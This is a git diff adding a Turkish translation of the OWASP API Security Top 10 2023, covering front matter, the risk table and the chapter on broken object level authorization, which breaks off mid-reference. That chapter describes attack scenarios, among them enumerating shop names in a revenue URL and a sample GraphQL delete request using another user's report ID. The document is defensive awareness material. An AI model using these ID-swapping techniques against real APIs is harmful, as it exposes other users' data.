diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index c8126cb85..eefb188a6 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -3,6 +3,8 @@ docs_dir: . extra: alternate: + - name: Türkçe + lang: tr - name: Bahasa (Indonesian) lang: id - name: English diff --git a/editions/2023/tr/0x00-header.md b/editions/2023/tr/0x00-header.md new file mode 100644 index 000000000..816d56169 --- /dev/null +++ b/editions/2023/tr/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 sürümü +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Bu çalışma [Creative Commons Attribution-ShareAlike 4.0 International License][1] ile lisanslanmıştır | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/tr/0x00-notice.md b/editions/2023/tr/0x00-notice.md new file mode 100644 index 000000000..1537a9729 --- /dev/null +++ b/editions/2023/tr/0x00-notice.md @@ -0,0 +1,11 @@ +# Bilgilendirme + +Bu metin, OWASP API Security Top 10 dokümanının metin sürümüdür ve web sitesi gibi bu dokümana ait tüm resmî sürümler için kaynak olarak kullanılır. + +Projeye yorum, düzeltme veya çeviri gibi katkılar bu repository üzerinden yapılmalıdır. [Nasıl Katkıda Bulunulur][1] hakkında ayrıntılı bilgi için [CONTRIBUTING.md][1] dosyasını inceleyebilirsiniz. + +- Erez Yallon +- Inon Shkedy +- Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/tr/0x00-toc.md b/editions/2023/tr/0x00-toc.md new file mode 100644 index 000000000..95f0a7c0c --- /dev/null +++ b/editions/2023/tr/0x00-toc.md @@ -0,0 +1,23 @@ +# İçindekiler + +- [İçindekiler](0x00-toc.md) +- [OWASP Hakkında](0x01-about-owasp.md) +- [Ön Söz](0x02-foreword.md) +- [Giriş](0x03-introduction.md) +- [Sürüm Notları](0x04-release-notes.md) +- [API Güvenliği Riskleri](0x10-api-security-risks.md) +- [OWASP En Kritik 10 API Güvenliği Riski – 2023](0x11-t10.md) +- [API1:2023 Nesne Düzeyinde Yetkilendirme Eksikliği](0xa1-broken-object-level-authorization.md) +- [API2:2023 Kimlik Doğrulama Eksikliği](0xa2-broken-authentication.md) +- [API3:2023 Nesne Özelliği Düzeyinde Yetkilendirme Eksikliği](0xa3-broken-object-property-level-authorization.md) +- [API4:2023 Sınırsız Kaynak Tüketimi](0xa4-unrestricted-resource-consumption.md) +- [API5:2023 Fonksiyon Düzeyinde Yetkilendirme Eksikliği](0xa5-broken-function-level-authorization.md) +- [API6:2023 Hassas İş Akışlarına Sınırsız Erişim](0xa6-unrestricted-access-to-sensitive-business-flows.md) +- [API7:2023 Sunucu Taraflı İstek Sahteciliği](0xa7-server-side-request-forgery.md) +- [API8:2023 Hatalı Güvenlik Yapılandırması](0xa8-security-misconfiguration.md) +- [API9:2023 Yetersiz Envanter Yönetimi](0xa9-improper-inventory-management.md) +- [API10:2023 API'lerin Güvensiz Kullanımı](0xaa-unsafe-consumption-of-apis.md) +- [Geliştiricileri Neler Bekliyor?](0xb0-next-devs.md) +- [DevSecOps'u Neler Bekliyor?](0xb1-next-devsecops.md) +- [Metodoloji ve Veriler](0xd0-about-data.md) +- [Teşekkürler](0xd1-acknowledgments.md) diff --git a/editions/2023/tr/0x01-about-owasp.md b/editions/2023/tr/0x01-about-owasp.md new file mode 100644 index 000000000..09b8e0f37 --- /dev/null +++ b/editions/2023/tr/0x01-about-owasp.md @@ -0,0 +1,44 @@ +# OWASP Hakkında + +Open Worldwide Application Security Project (OWASP), kurumların güvenilir uygulamalar ve API'ler geliştirmesine, satın almasına ve bunların bakımını yapmasına yardımcı olmayı amaçlayan açık bir topluluktur. + +OWASP bünyesinde aşağıdaki kaynaklara ücretsiz ve açık bir şekilde erişebilirsiniz: + +- Uygulama güvenliği araçları ve standartları. +- Uygulama güvenliği testleri, güvenli kod geliştirme ve güvenli kod inceleme konularını kapsamlı biçimde ele alan kitaplar. +- Sunumlar ve [videolar][1]. +- Birçok yaygın konu hakkında [hızlı başvuru rehberleri][2]. +- Standart güvenlik kontrolleri ve kütüphaneleri. +- Dünya genelindeki [yerel OWASP toplulukları][3]. +- Öncü araştırmalar. +- Dünya çapında düzenlenen kapsamlı [konferanslar][4]. +- [E-posta listeleri][5] ([arşiv][6]). + +Daha fazla bilgi için: [https://www.owasp.org][7]. + +OWASP'ın tüm araçları, dokümanları, videoları, sunumları ve yerel toplulukları; uygulama güvenliğini geliştirmek isteyen herkesin ücretsiz ve açık erişimine sunulmaktadır. + +Uygulama güvenliğinin insan, süreç ve teknoloji boyutlarıyla birlikte ele alınması gerektiğini savunuyoruz. Çünkü uygulama güvenliğinde en etkili sonuçlar, bu alanların tümünde iyileştirme yapılmasıyla elde edilir. + +OWASP, yeni bir organizasyon modelini temsil eder. Ticari baskılardan bağımsız olmamız, uygulama güvenliği konusunda tarafsız, uygulanabilir ve uygun maliyetli bilgiler sunmamızı sağlar. + +OWASP'ın herhangi bir teknoloji şirketiyle bağlantısı yoktur. Bununla birlikte, ticari güvenlik teknolojilerinin bilinçli bir şekilde kullanılmasını destekleriz. OWASP bünyesindeki içerik ve kaynaklar; iş birliğine dayalı, şeffaf ve açık bir süreçle hazırlanır. + +OWASP Foundation, projenin uzun vadeli başarısını güvence altına alan kâr amacı gütmeyen bir kuruluştur. OWASP yönetim kurulu üyeleri, yerel topluluk liderleri, proje liderleri ve proje üyeleri dâhil olmak üzere OWASP bünyesinde görev alan kişilerin neredeyse tamamı gönüllüdür. Yenilikçi güvenlik araştırmalarını fon ve altyapı desteğiyle destekliyoruz. + +Siz de bize katılın! + +## Telif Hakkı ve Lisans + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. Bu belge, [Creative Commons Attribution Share-Alike 4.0 lisansı][8] kapsamında yayınlanmıştır. Bu çalışmayı yeniden kullanırken veya dağıtırken, lisans koşullarını açıkça belirtmeniz gerekir. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/tr/0x02-foreword.md b/editions/2023/tr/0x02-foreword.md new file mode 100644 index 000000000..6bbebfbd0 --- /dev/null +++ b/editions/2023/tr/0x02-foreword.md @@ -0,0 +1,28 @@ +# Ön Söz + +Günümüzde uygulamaların merkezde olduğu dünyada inovasyonun temel unsurlarından biri, Uygulama Programlama Arayüzüdür (API). Bankacılık, perakende ve ulaşımdan IoT, otonom araçlar ve akıllı şehirlere kadar API'ler; modern mobil uygulamaların, SaaS çözümlerinin ve web uygulamalarının kritik bir parçasıdır. Müşterilere ve iş ortaklarına sunulan uygulamaların yanı sıra kurum içi uygulamalarda da yaygın olarak kullanılır. + +API'ler, doğaları gereği uygulama mantığını ve Kişisel Olarak Tanımlanabilir Bilgiler (PII) gibi hassas verileri dışarıya açar. Bu nedenle saldırganların giderek daha fazla hedefi hâline gelmiştir. Güvenli API'ler olmadan hızlı inovasyon mümkün değildir. + +Web uygulamalarına yönelik daha kapsamlı bir Top 10 güvenlik riskleri listesinin hâlâ gerekli olmasına karşın, API'lerin kendine özgü yapısı nedeniyle API'lere özel bir güvenlik riskleri listesine de ihtiyaç vardır. API güvenliği; API'lere özgü zafiyetleri ve güvenlik risklerini anlamaya ve azaltmaya yönelik strateji ve çözümlere odaklanır. + +[OWASP Top 10 Projesi][1]'ne aşinaysanız, iki belge arasındaki benzerlikleri fark edeceksiniz. Her ikisi de okunabilirlik ve uygulanabilirlik göz önünde bulundurularak hazırlanmıştır. OWASP Top 10 serisinde yeniyseniz, doğrudan Top 10 listesine geçmeden önce [API Güvenliği Riskleri][2] ve [Metodoloji ve Veriler][3] bölümlerini okumanız daha faydalı olabilir. + +OWASP API Security Top 10 projesine ilişkin soru, yorum ve fikirlerinizi GitHub repository'si üzerinden paylaşarak projeye katkıda bulunabilirsiniz: + +- https://owasp.org/www-project-api-security/ +- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +OWASP API Security Top 10'a aşağıdaki adreslerden ulaşabilirsiniz: + +- https://owasp.org/www-project-api-security/ +- https://github.com/OWASP/API-Security + +Emekleri ve katkılarıyla bu projenin hayata geçirilmesini sağlayan tüm katkıda bulunanlara teşekkür ederiz. Katkıda bulunanların tamamını [Teşekkürler][4] bölümünde bulabilirsiniz. + +Teşekkürler! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/tr/0x03-introduction.md b/editions/2023/tr/0x03-introduction.md new file mode 100644 index 000000000..6b74bfc2a --- /dev/null +++ b/editions/2023/tr/0x03-introduction.md @@ -0,0 +1,45 @@ +# Giriş + +## OWASP API Security Top 10 – 2023'e Hoş Geldiniz! + +OWASP API Security Top 10'un ikinci sürümüne hoş geldiniz! + +Farkındalık oluşturmayı amaçlayan bu belge ilk kez 2019 yılında yayınlandı. O zamandan bu yana API güvenliği sektörü önemli ölçüde gelişti ve olgunlaştı. Bu çalışmanın kısa sürede sektörde başvurulan temel kaynaklardan biri hâline gelmesinin, söz konusu gelişmeye olumlu katkı sağladığına inanıyoruz. + +API'ler modern uygulama mimarilerinde son derece önemli bir role sahiptir. Ama inovasyonun hızı, güvenlik farkındalığının hızından farklıdır. Bu yüzden de yaygın API güvenlik zayıflıkları konusunda farkındalık oluşturmaya odaklanmanın önemli olduğuna inanıyoruz. + +OWASP API Security Top 10'un temel amacı; API geliştirme ve yönetiminde görev alan geliştiricileri, tasarımcıları, mimarları, yöneticileri ve kuruluşları bilgilendirmek ve eğitmektir. OWASP API Security Project hakkında daha fazla bilgiye [proje sayfasından][1] ulaşabilirsiniz. + +OWASP Top 10 serisine aşina değilseniz, en azından aşağıdaki 10 projeye göz atmanızı öneririz: + +- [OWASP Cloud-Native Application Security Top 10][2] +- [OWASP Desktop App Security Top 10][3] +- [OWASP Docker Top 10][4] +- [OWASP Low-Code/No-Code Top 10][5] +- [OWASP Machine Learning Security Top Ten][6] +- [OWASP Mobile Top 10][7] +- [OWASP TOP 10][8] +- [OWASP Top 10 CI/CD Security Risks][9] +- [OWASP Top 10 Client-Side Security Risks][10] +- [OWASP Top 10 Privacy Risks][11] +- [OWASP Serverless Top 10][12] + +Bu projelerin hiçbiri bir diğerinin yerine geçmez. Örneğin backend API kullanan bir mobil uygulama geliştiriyorsanız, hem mobil uygulamalara hem de API'lere yönelik Top 10 dokümanlarını okumanız daha yararlı olacaktır. Aynı durum API ile desteklenen web ve masaüstü uygulamaları için de geçerlidir. + +Bu sürümün nasıl hazırlandığıyla ilgili daha fazla bilgiyi [Metodoloji ve Veriler][13] bölümünde bulabilirsiniz. Bu süreçte herkesi soru, yorum ve fikirleriyle [GitHub repository'si][14] veya [e-posta listesi][15] üzerinden katkı yapmaya davet ediyoruz. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/tr/0x04-release-notes.md b/editions/2023/tr/0x04-release-notes.md new file mode 100644 index 000000000..13966eb43 --- /dev/null +++ b/editions/2023/tr/0x04-release-notes.md @@ -0,0 +1,23 @@ +# Sürüm Notları + +Bu, tam dört yılın ardından, OWASP API Security Top 10'un ikinci sürümüdür. Bu süreçte API ve API güvenliği alanında çok şey değişti. API trafiği hızla arttı, bazı API protokolleri çok daha yaygın hâle geldi, çok sayıda yeni API güvenliği sağlayıcısı ve çözümü ortaya çıktı. Elbette saldırganlar da API'leri ele geçirmek için yeni beceri ve teknikler geliştirdi. Bu nedenle en kritik 10 API güvenliği riskini içeren listenin güncellenme zamanı gelmişti. + +API güvenliği sektörünün daha olgun bir seviyeye ulaşmasıyla, ilk kez [herkese açık bir veri çağrısı][1] yapıldı. Ne yazık ki bu çağrı sonucunda herhangi bir veri paylaşılmadı. Buna rağmen proje ekibinin deneyimi, API güvenliği uzmanlarının ayrıntılı incelemeleri ve sürüm adayı hakkında topluluktan alınan geri bildirimler doğrultusunda yeni listeyi oluşturduk. Bu sürümün nasıl oluşturulduğuyla ilgili daha fazla bilgiye [Metodoloji ve Veriler bölümünden][2] ulaşabilirsiniz. Güvenlik riskleri hakkında daha fazla bilgi için [API Güvenliği Riskleri bölümüne][3] bakabilirsiniz. + +OWASP API Security Top 10 2023, hızlı gelişen bir sektör için ileriye dönük hazırlanmış bir farkındalık dokümanıdır. Diğer Top 10 çalışmalarının yerini almaz. Bu sürümde: + +- Excessive Data Exposure (Gereğinden Fazla Verinin Açığa Çıkarılması) ve Mass Assignment (Kontrolsüz Toplu Atama) kategorilerini, ortak temel neden olan nesne özelliği düzeyindeki yetkilendirme kontrollerinin yetersizliği etrafında birleştirdik. +- Kaynakların ne kadar hızlı tükendiğinden çok, kaynak tüketiminin kendisine daha fazla ağırlık verdik. +- Çoğu istek sınırlandırma uygulanarak azaltılabilenler de dâhil olmak üzere yeni tehditleri ele almak amacıyla "Unrestricted Access to Sensitive Business Flows" (Hassas İş Akışlarına Sınırsız Erişim) adlı yeni bir kategori oluşturduk. +- Son dönemde gözlemlemeye başladığımız yeni bir saldırı yaklaşımını ele almak için "Unsafe Consumption of APIs" (API'lerin Güvensiz Kullanımı) kategorisini ekledik. Saldırganlar artık doğrudan hedefin API'lerine saldırmak yerine, hedef sistemle entegre çalışan servisleri bularak bu servisleri ele geçirmeye çalışıyor. Giderek büyüyen bu risk konusunda farkındalık oluşturmanın zamanı geldi. + +API'ler; modern mikroservis mimarisinde, Tek Sayfa Uygulamalarında (SPA), mobil uygulamalarda, IoT'de vb. giderek daha önemli bir rol üstlenmektedir. OWASP API Security Top 10, güncel API güvenliği sorunları konusunda farkındalık oluşturmak amacıyla yürütülen önemli bir çalışmadır. + +Bu güncelleme, [Teşekkürler][4] bölümünde listelenen çok sayıda gönüllünün büyük emeği sayesinde mümkün olmuştur. + +Teşekkürler! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/tr/0x10-api-security-risks.md b/editions/2023/tr/0x10-api-security-risks.md new file mode 100644 index 000000000..e18d99a7c --- /dev/null +++ b/editions/2023/tr/0x10-api-security-risks.md @@ -0,0 +1,40 @@ +# API Güvenliği Riskleri + +Risk analizi yapılırken [OWASP Risk Değerlendirme Metodolojisi][1] kullanılmıştır. + +Aşağıdaki tabloda risk skoruyla ilişkili terminoloji özetlenmiştir. + +| Tehdit Aktörleri | İstismar Edilebilirlik | Zayıflığın Yaygınlığı | Zayıflığın Tespit Edilebilirliği | Teknik Etki | İş Etkisi | +| :--------------: | :--------------: | :-------------------: | :------------------------------: | :---------: | :------------: | +| API'ye Özgü | Kolay: **3** | Çok yaygın **3** | Kolay **3** | Ciddi **3** | Kuruluşa özgü | +| API'ye Özgü | Orta: **2** | Yaygın **2** | Orta **2** | Orta **2** | Kuruluşa özgü | +| API'ye Özgü | Zor: **1** | Nadir **1** | Zor **1** | Düşük **1** | Kuruluşa özgü | + +**Not**: Bu yaklaşım, tehdit aktörünün saldırıyı gerçekleştirme olasılığını dikkate almaz. Ayrıca uygulamanıza özgü teknik ayrıntıları da hesaba katmaz. Bu unsurlardan herhangi biri, bir saldırganın belirli bir zafiyeti bulma ve istismar etme olasılığını önemli ölçüde etkileyebilir. +Bu derecelendirme, kuruluşunuzun maruz kalacağı gerçek iş etkisini de değerlendirmez. Kuruluşunuz; kurum kültürü, faaliyet gösterdiği sektör ve tabi olduğu düzenleyici ortamı göz önünde bulundurarak uygulamalardan ve API'lerden kaynaklanan güvenlik risklerinin ne kadarını kabul edebileceğine kendisi karar vermelidir. +OWASP API Security Top 10'un amacı, bu risk analizini kuruluşunuz adına yapmak değildir. Bu sürüm veriye dayalı olarak hazırlanmadığı için zafiyetlerin yaygınlık düzeyleri, ekip üyelerinin ortak değerlendirmesi sonucunda belirlenmiştir. + +## Kaynaklar + +### OWASP + +- [OWASP Risk Değerlendirme Metodolojisi][1] +- [Tehdit/Risk Modellemesi Hakkında Makale][2] + +### Harici Kaynaklar + +- [ISO 31000: Risk Yönetimi Standardı][3] +- [ISO 27001: BGYS][4] +- [NIST Siber Güvenlik Çerçevesi (ABD)][5] +- [ASD Stratejik Azaltım Önlemleri (AU)][6] +- [NIST CVSS 3.0][7] +- [Microsoft Tehdit Modelleme Aracı][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/tr/0x11-t10.md b/editions/2023/tr/0x11-t10.md new file mode 100644 index 000000000..68bd9dbc1 --- /dev/null +++ b/editions/2023/tr/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP En Kritik 10 API Güvenliği Riski – 2023 + +| Risk | Açıklama | +| -------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| [API1:2023 - Nesne Düzeyinde Yetkilendirme Eksikliği][api1] | API'ler genellikle nesne tanımlayıcılarını işleyen uç noktaları dışarıya açar. Bu durum, nesne düzeyinde yetkilendirme açıkları açısından geniş bir saldırı yüzeyi oluşturur. Kullanıcıdan alınan bir kimlik değeriyle veri kaynağına erişen her fonksiyonda nesne düzeyinde yetkilendirme kontrolü yapılmalıdır. | +| [API2:2023 - Kimlik Doğrulama Eksikliği][api2] | Kimlik doğrulama mekanizmaları sıklıkla hatalı biçimde uygulanır. Bu durum, saldırganların kimlik doğrulama belirteçlerini ele geçirmesine veya uygulamadaki kusurları istismar ederek geçici ya da kalıcı biçimde başka kullanıcıların kimliğine bürünmesine olanak tanır. Bir sistemin istemciyi veya kullanıcıyı doğru biçimde tanımlama yeteneğinin tehlikeye atılması, API güvenliğinin tamamını olumsuz etkiler. | +| [API3:2023 - Nesne Özelliği Düzeyinde Yetkilendirme Eksikliği][api3] | Bu kategori, [API3:2019 Excessive Data Exposure][1] ile [API6:2019 - Mass Assignment][2] kategorilerini ortak temel neden etrafında birleştirir: nesne özellikleri düzeyindeki yetkilendirme kontrollerinin eksik veya hatalı uygulanması. Bu durum, yetkisiz kişilerin verilere erişmesine veya verileri değiştirmesine yol açabilir. | +| [API4:2023 - Sınırsız Kaynak Tüketimi][api4] | API isteklerinin işlenmesi; ağ bant genişliği, CPU, bellek ve depolama gibi kaynakların kullanılmasını gerektirir. E-posta, SMS, telefon görüşmesi veya biyometrik doğrulama gibi diğer hizmetler ise API entegrasyonları aracılığıyla servis sağlayıcılar tarafından sunulabilir ve istek başına ücretlendirilebilir. Başarılı saldırılar, hizmet reddine veya operasyonel maliyetlerin artmasına yol açabilir. | +| [API5:2023 - Fonksiyon Düzeyinde Yetkilendirme Eksikliği][api5] | Farklı hiyerarşi, grup ve rollere sahip karmaşık erişim kontrolü politikaları ile yönetimsel ve standart fonksiyonlar arasındaki sınırların net olmaması, yetkilendirme açıklarına yol açabilir. Saldırganlar bu açıkları istismar ederek diğer kullanıcıların kaynaklarına ve/veya yönetimsel fonksiyonlara erişebilir. | +| [API6:2023 - Hassas İş Akışlarına Sınırsız Erişim][api6] | Bu riske açık API'ler; bilet satın alma veya yorum gönderme gibi iş akışlarını, söz konusu fonksiyonların otomatik biçimde ve aşırı kullanılması durumunda işletmeye verebileceği zararı yeterince dikkate almadan dışarıya açar. Bu risk her zaman bir uygulama geliştirme hatasından kaynaklanmaz. | +| [API7:2023 - Sunucu Taraflı İstek Sahteciliği][api7] | Sunucu Taraflı İstek Sahteciliği (SSRF) açıkları, bir API'nin kullanıcı tarafından sağlanan URI'yi doğrulamadan uzak bir kaynağa erişmesi durumunda ortaya çıkabilir. Bu durum, uygulama bir güvenlik duvarı veya VPN ile korunuyor olsa bile saldırganın uygulamayı özel olarak hazırlanmış bir isteği beklenmeyen bir hedefe göndermeye zorlamasına olanak tanır. | +| [API8:2023 - Hatalı Güvenlik Yapılandırması][api8] | API'ler ve bunları destekleyen sistemler, API'leri daha fazla özelleştirebilmek amacıyla genellikle karmaşık yapılandırmalar içerir. Yazılım ve DevOps mühendisleri bazı yapılandırmaları gözden kaçırabilir veya güvenli yapılandırma uygulamalarına uymayabilir. Bu durum, farklı saldırı türlerine zemin hazırlayabilir. | +| [API9:2023 - Yetersiz Envanter Yönetimi][api9] | API'ler, geleneksel web uygulamalarına kıyasla daha fazla uç noktayı dışarıya açma eğilimindedir. Bu nedenle doğru ve güncel dokümantasyon büyük önem taşır. Kullanımdan kaldırılmış API sürümleri ve dışarıya açık hata ayıklama uç noktaları gibi riskleri azaltmak için sunucuların ve yayındaki API sürümlerinin eksiksiz biçimde envantere alınması gerekir. | +| [API10:2023 - API'lerin Güvensiz Kullanımı][api10] | Geliştiriciler, üçüncü taraf API'lerden alınan verilere çoğu zaman kullanıcı girdilerinden daha fazla güvenir ve bu nedenle daha zayıf güvenlik kontrolleri uygulayabilir. Saldırganlar, hedef API'yi doğrudan ele geçirmek yerine API ile entegre çalışan üçüncü taraf servisleri hedefleyebilir. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/tr/0xa1-broken-object-level-authorization.md b/editions/2023/tr/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..c1be76a3b --- /dev/null +++ b/editions/2023/tr/0xa1-broken-object-level-authorization.md @@ -0,0 +1,78 @@ +# API1:2023 Nesne Düzeyinde Yetkilendirme Eksikliği + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Çok yaygın** · Tespit edilebilirlik: **Kolay** | Teknik etki: **Orta** · İş etkisi: **Kuruluşa özgü** | +| Saldırganlar, istekte gönderilen bir nesnenin ID'sini değiştirerek nesne düzeyinde yetkilendirme kontrolleri yetersiz olan API uç noktalarını istismar edebilir. Nesne ID'leri; sıralı tam sayılar, UUID'ler veya herhangi bir karakter dizisi olabilir. Veri türünden bağımsız olarak bu ID'ler; istek hedefinde (yol veya sorgu dizesi parametrelerinde), istek başlıklarında ya da istek gövdesinde kolaylıkla tespit edilebilir. | Bu sorun API tabanlı uygulamalarda son derece yaygındır. Bunun nedeni, sunucu bileşeninin genellikle istemcinin durumunu tam olarak takip etmemesi ve erişilecek nesneleri belirlemek için istemciden gönderilen nesne ID'leri gibi parametrelere güvenmesidir. Sunucunun verdiği yanıt, isteğin başarılı olup olmadığını anlamak için çoğu zaman yeterlidir. | Başka kullanıcılara ait nesnelere yetkisiz erişim; verilerin yetkisiz kişilere açıklanmasına, kaybolmasına veya değiştirilmesine yol açabilir. Belirli koşullarda nesnelere yetkisiz erişim, bir hesabın tamamen ele geçirilmesiyle de sonuçlanabilir. | + +## API Bu Zafiyete Açık mı? + +Nesne düzeyinde yetkilendirme, bir kullanıcının yalnızca erişim iznine sahip olduğu nesnelere erişebilmesini sağlamak amacıyla genellikle kod düzeyinde uygulanan bir erişim kontrolü mekanizmasıdır. + +Bir nesnenin ID'sini alan ve bu nesne üzerinde herhangi bir işlem gerçekleştiren her API uç noktası, nesne düzeyinde yetkilendirme kontrolleri uygulamalıdır. Bu kontroller, oturum açmış kullanıcının istenen nesne üzerinde talep edilen işlemi gerçekleştirme yetkisine sahip olduğunu doğrulamalıdır. + +Bu mekanizmadaki eksiklikler genellikle verilerin yetkisiz biçimde açıklanmasına, değiştirilmesine veya silinmesine yol açar. + +Mevcut oturumdaki kullanıcı ID'sini, örneğin JWT'den çıkararak, istemciden gelen ID parametresiyle karşılaştırmak; Nesne Düzeyinde Yetkilendirme Eksikliği (BOLA) sorununu çözmek için yeterli değildir. Bu yaklaşım yalnızca sınırlı sayıdaki senaryoyu kapsayabilir. + +BOLA durumunda kullanıcının ilgili API uç noktasına veya fonksiyona erişebilmesi tasarım gereğidir. Yetkilendirme ihlali, ID'nin değiştirilmesiyle nesne düzeyinde gerçekleşir. Saldırgan, erişim yetkisi bulunmayan bir API uç noktasına veya fonksiyona erişebiliyorsa bu durum BOLA değil, [Fonksiyon Düzeyinde Yetkilendirme Eksikliği][5] (BFLA) olarak değerlendirilir. + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Çevrimiçi mağazalara hizmet veren bir e-ticaret platformu, barındırdığı mağazaların gelir grafiklerini gösteren bir listeleme sayfası sunar. Tarayıcı isteklerini inceleyen bir saldırgan, bu grafiklerin veri kaynağı olarak kullanılan API uç noktasını ve URL yapısını tespit edebilir: + +`/shops/{shopName}/revenue_data.json` + +Saldırgan, başka bir API uç noktasını kullanarak platformda barındırılan tüm mağazaların adlarını elde edebilir. Ardından basit bir betikle URL'deki `{shopName}` değerini listedeki mağaza adlarıyla değiştirerek binlerce e-ticaret mağazasının satış verilerine erişebilir. + +### Senaryo 2 + +Bir otomobil üreticisi, sürücünün cep telefonuyla iletişim kuran bir mobil API aracılığıyla araçların uzaktan kontrol edilmesini sağlar. API; sürücünün motoru uzaktan çalıştırıp durdurmasına, kapıları kilitlemesine ve kilidini açmasına olanak tanır. + +Bu işlem sırasında kullanıcı, Araç Kimlik Numarasını (VIN) API'ye gönderir. API, gönderilen VIN'in oturum açmış kullanıcıya ait bir aracı temsil edip etmediğini doğrulamazsa BOLA zafiyeti ortaya çıkar. Böylece bir saldırgan, kendisine ait olmayan araçlara erişebilir. + +### Senaryo 3 + +Çevrimiçi bir belge depolama hizmeti, kullanıcıların belgelerini görüntülemesine, düzenlemesine, saklamasına ve silmesine olanak tanır. Bir belge silindiğinde, belge ID'sini içeren bir GraphQL mutation isteği API'ye gönderilir. + +```http +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +## Nasıl Önlenir? + +- Kullanıcı politikalarını, rollerini ve yetki hiyerarşisini temel alan uygun bir yetkilendirme mekanizması uygulayın. +- İstemciden alınan bir değerle veritabanındaki bir kayda erişen her fonksiyonda, oturum açmış kullanıcının istenen işlemi söz konusu kayıt üzerinde gerçekleştirme yetkisine sahip olduğunu yetkilendirme mekanizmasıyla doğrulayın. +- Kayıt ID'leri için GUID gibi rastgele ve tahmin edilmesi zor değerleri tercih edin. Ancak bu değerlerin tek başına bir yetkilendirme kontrolü olmadığını unutmayın. +- Yetkilendirme mekanizmasındaki zafiyetleri tespit edecek testler yazın. Bu testlerin başarısız olmasına neden olan değişiklikleri canlı ortama dağıtmayın. + +## Kaynaklar + +### OWASP + +- [Yetkilendirme Hızlı Başvuru Rehberi][1] +- [Yetkilendirme Testlerinin Otomasyonu Hızlı Başvuru Rehberi][2] + +### Harici Kaynaklar + +- [CWE-285: Hatalı Yetkilendirme][3] +- [CWE-639: Kullanıcı Tarafından Denetlenen Anahtar Aracılığıyla Yetkilendirmeyi Aşma][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: 